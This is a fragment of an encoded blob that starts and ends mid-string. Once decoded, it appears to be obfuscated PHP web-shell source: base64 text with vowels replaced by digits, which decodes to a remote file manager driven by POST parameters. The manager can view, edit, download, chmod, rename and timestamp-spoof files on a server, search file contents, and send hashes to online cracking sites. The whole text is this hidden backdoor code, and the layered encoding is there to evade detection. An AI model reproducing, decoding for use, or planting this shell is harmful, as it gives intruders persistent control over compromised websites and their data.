kX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOw0KICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIDRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSkpOw0KICAgICAgICB9DQogICAgICAgIDVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5TNTFyY2ggdDV4dCA0biBmNGw1czo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgICAgICAgICA8ZjJybSAybnMzYm00dD1cImcobjNsbCx0aDRzLmN3ZC52MWwzNSxuM2xsLHRoNHMudDV4dC52MWwzNSx0aDRzLmY0bDVuMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHQxYmw1IGM1bGxwMWRkNG5nPSc2JyBjNWxsc3AxYzRuZz0nMCcgdzRkdGg9J2kwJSc+DQogICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+UDF0aDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nY3dkJyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD5OMW01OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdmNGw1bjFtNScgdjFsMzU9JyonIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90MWJsNT48L2Yycm0+IjsNCiANCiAgICAgICAgZjNuY3Q0Mm4gQk9GRlI1YzNyczR2NUdsMmIoJHAxdGgpIHsNCiAgICAgICAgICAgICAgICA0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQogICAgICAgICAgICAgICAgICAgICAgICAkcDF0aC49Jy8nOw0KICAgICAgICAgICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KICAgICAgICAgICAgICAgIDRmKDRzXzFycjF5KCRwMXRocykmJkBjMjNudCgkcDF0aHMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHAxdGghPSQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQk9GRlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIDRmKEAkX1BPU1RbJ3BvJ10pDQogICAgICAgICAgICAgICAgQk9GRlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOw0KICAgICAgICA1Y2gyICI8L2Q0dj48YnI+PGg2PiYjb2k4ODsmI29laTc7JiNvZTA5OyYjb2VhNzsmI29lb3U7JiNvZWE5OyYjb2V1MDsmI29lNjY7JiNvaThpOyYjb2U2OTsmI29lMG87JiNvZWUwOyYjb2k5dTsmI29laWU7JiNvZWFvOyYjb2U2ODs6PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQogICAgICAgICAgICAgICAgPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2suYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lmgxc2hjcjFjay5jMm0vNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtNGx3MHJtLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tNGx3MHJtLmMybS9jcjFjazVyL3M1MXJjaC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaWQ1Y3J5cHQ1ci5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubWRpZDVjcnlwdDVyLmMybS8nO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgICAgIDwvZjJybT48L2Q0dj4iOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgew0KICAgICAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApDQogICAgICAgICAgICAgICAgJF9QT1NUWydwNiddID0gM3JsZDVjMmQ1KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCiAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkX1BPU1RbJ3A2J10pICYmIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCJtNG01X2MybnQ1bnRfdHlwNSIpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0eXA1ID0gQG00bTVfYzJudDVudF90eXA1KCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aDRsNSghQGY1MmYoJGZwKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9NXg0dDsNCiAgICAgICAgfQ0KICAgICAgICA0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsNCiAgICAgICAgICAgICAgICA0ZighZjRsNV81eDRzdHMoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BhJ10gPSAiNWQ0dCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZXU4OyYjb2k4ODsmI29lNjk7JiNvZW85OyYjb2VpZTsmI29lYTk7JiNvaTk2OyYjb2U2NzsmI29lbzk7JiNvZWE5OzwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgICAgIDRmKCAhZjRsNV81eDRzdHMoQCRfUE9TVFsncDYnXSkgKSB7DQogICAgICAgICAgICAgICAgNWNoMiAnJiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZTY3OyYjb2VvNzsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZTA5OyYjb2VvNzsmI29laTc7JiNvZWE5OyYjb2U2ODsmI29ldTY7JiNvZWllOyAhJzsNCiAgICAgICAgICAgICAgICBCT0ZGRjIydDVyKCk7DQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkX1BPU1RbJ3A2J10pKTsNCiAgICAgICAgNGYoISQzNGQpIHsNCiAgICAgICAgICAgICAgICAkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgJGc0ZFsnbjFtNSddID0gQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pOw0KICAgICAgICB9IDVsczUgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSkpOw0KICAgICAgICA1Y2gyICc8c3Axbj4mI29pOXU7JiNvZW85OyYjb2VpZTsmI29lYTk7Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPiYjb2k4ZTsmI29lMDk7JiNvZW91OyYjb2UwdTs6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/Qk9GRlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj4mI29lYWU7JiNvZW9lOyYjb2UwNzsmI29lMDg7JiNvZW9lOyYjb2k4aTsmI29lb3U7JiNvZTY5OyYjb2VpNjsmI29pOXU7JiNvZWk3OyYjb2k5NjsmI29lb3U7JiNvZTA5Ozo8L3NwMW4+ICcuQk9GRlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPiYjb2k4aTsmI29lYTY7JiNvZXUwOyYjb2VpZTsmI29lNjc7Ojwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQogICAgICAgIDVjaDIgJzxzcDFuPiYjb2VhZTsmI29lNjk7JiNvZWk3OyYjb2VvdTsmI29pOTY7JiNvZXU4OyYjb2U2NzsmI29lbzk7JiNvZWllOyYjb2VhOTs6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj4mI29ldTg7JiNvZWFvOyYjb2VhNjsmI29lb3U7Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+JiNvZXU4OyYjb2VhbzsmI29lYTY7JiNvZW91OyYjb2V1OTsmI29pOGk7JiNvZWk3OyYjb2VpYTsmI29pOGU7Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQogICAgICAgIDRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQogICAgICAgIDRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KICAgICAgICAgICAgICAgICRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCiAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KICAgICAgICBmMnI1MWNoKCRtIDFzICR2KQ0KICAgICAgICAgICAgICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnJy5zdHJ0MmwydzVyKCR2KS4nXCcpIj4nLigoc3RydDJsMnc1cigkdik9PUAkX1BPU1RbJ3BhJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8LzE+ICc7DQogICAgICAgIDVjaDIgJzxicj48YnI+JzsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsncGEnXSkgew0KICAgICAgICAgICAgICAgIGMxczUgJ3Y0NXcnOg0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8L3ByNT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAnaDRnaGw0Z2h0JzoNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGQ0diBjbDFzcz1tbDYgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICM1NjU2NTY7YzJsMnI6YmwxY2s7Ij4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJkNSA9IEBoNGdobDRnaHRfZjRsNSgkX1BPU1RbJ3A2J10sdHIzNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdjaG0yZCc6DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwNXJtcyA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycigkND1zdHJsNW4oJF9QT1NUWydwbyddKS02OyQ0Pj0wOy0tJDQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoIUBjaG0yZCgkX1BPU1RbJ3A2J10sICRwNXJtcykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZWFlOyYjb2VvdTsmI29lNjc7JiNvZW91OyYjb2U2OTsmI29lMGU7JiNvaThpOyYjb2VvaTsmI29lYTc7JiNvZTA5OyYjb2UwdTsmI29pODg7JiNvZWllOyYjb2VvdTsmI29lYWU7JiNvZW9lOyYjb2UwNzsmI29lMDg7JiNvZW9lOyYjb2k4aTsmI29lb3U7JiNvZTY5OyYjb2VpNjsmI29pOXU7JiNvZWk3OyYjb2k5NjsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lMHU7JiNvZWk3OyAhPGJyPjxzY3I0cHQ+ZDJjM201bnQubWYucG8udjFsMzU9IiI7PC9zY3I0cHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGNsNTFyc3QxdGMxY2g1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAnNWQ0dCc6DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiggITRzX3dyNHQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvZWlhOyYjb2U2NzsmI29laWU7JiNvZWFlOyYjb2VvdTsmI29lNjc7JiNvZW91OyYjb2U2OTsmI29lMGU7JiNvZXU4OyYjb2k4ZTsmI29lbzc7JiNvZTY4OyYjb2UwOTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZWlhOyYjb2UwdTsmI29laTc7ICEnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHQ0bTUgPSBAZjRsNW10NG01KCRfUE9TVFsncDYnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncG8nXSA9IHMzYnN0cigkX1BPU1RbJ3BvJ10sNik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnUzF2NWQhPGJyPjxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUoICFAZjUyZigkZnApICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAnaDV4ZDNtcCc6DQogICAgICAgICAgICAgICAgICAgICAgICAkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkbDVuID0gc3RybDVuKCRjKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFs2XSAuPSBzcHI0bnRmKCclMGFYJywycmQoJGNbJDRdKSkuJyAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1IDA6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMXM1IDZvOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG4rKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCRuID09IG9hKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkNCs2IDwgJGw1bikgeyRoWzBdIC49IHNwcjRudGYoJyUwOFgnLCQ0KzYpLic8YnI+Jzt9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbNl0gLj0gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoW2FdIC49ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj0jYWFhYWFhPjx0cj48dGQgYmdjMmwycj0jb29vb29vPjxzcDFuIHN0eWw1PSJmMm50LXc1NGdodDogbjJybTFsOyI+PHByNT4nLiRoWzBdLic8L3ByNT48L3NwMW4+PC90ZD48dGQgYmdjMmwycj0jYThhOGE4PjxwcjU+Jy4kaFs2XS4nPC9wcjU+PC90ZD48dGQgYmdjMmwycj0jb29vb29vPjxwcjU+Jy5odG1sc3A1YzQxbGNoMXJzKCRoW2FdKS4nPC9wcjU+PC90ZD48L3RyPjwvdDFibDU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3I1bjFtNSc6DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCFAcjVuMW01KCRfUE9TVFsncDYnXSwgJF9QT1NUWydwbyddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PmcobjNsbCxuM2xsLCInLjNybDVuYzJkNSgkX1BPU1RbJ3BvJ10pLiciLG4zbGwsIiIpPC9zY3I0cHQ+Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMubjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PW4xbTUgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAndDIzY2gnOg0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDRtNSA9IHN0cnQydDRtNSgkX1BPU1RbJ3BvJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdDRtNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCF0MjNjaCgkX1BPU1RbJ3A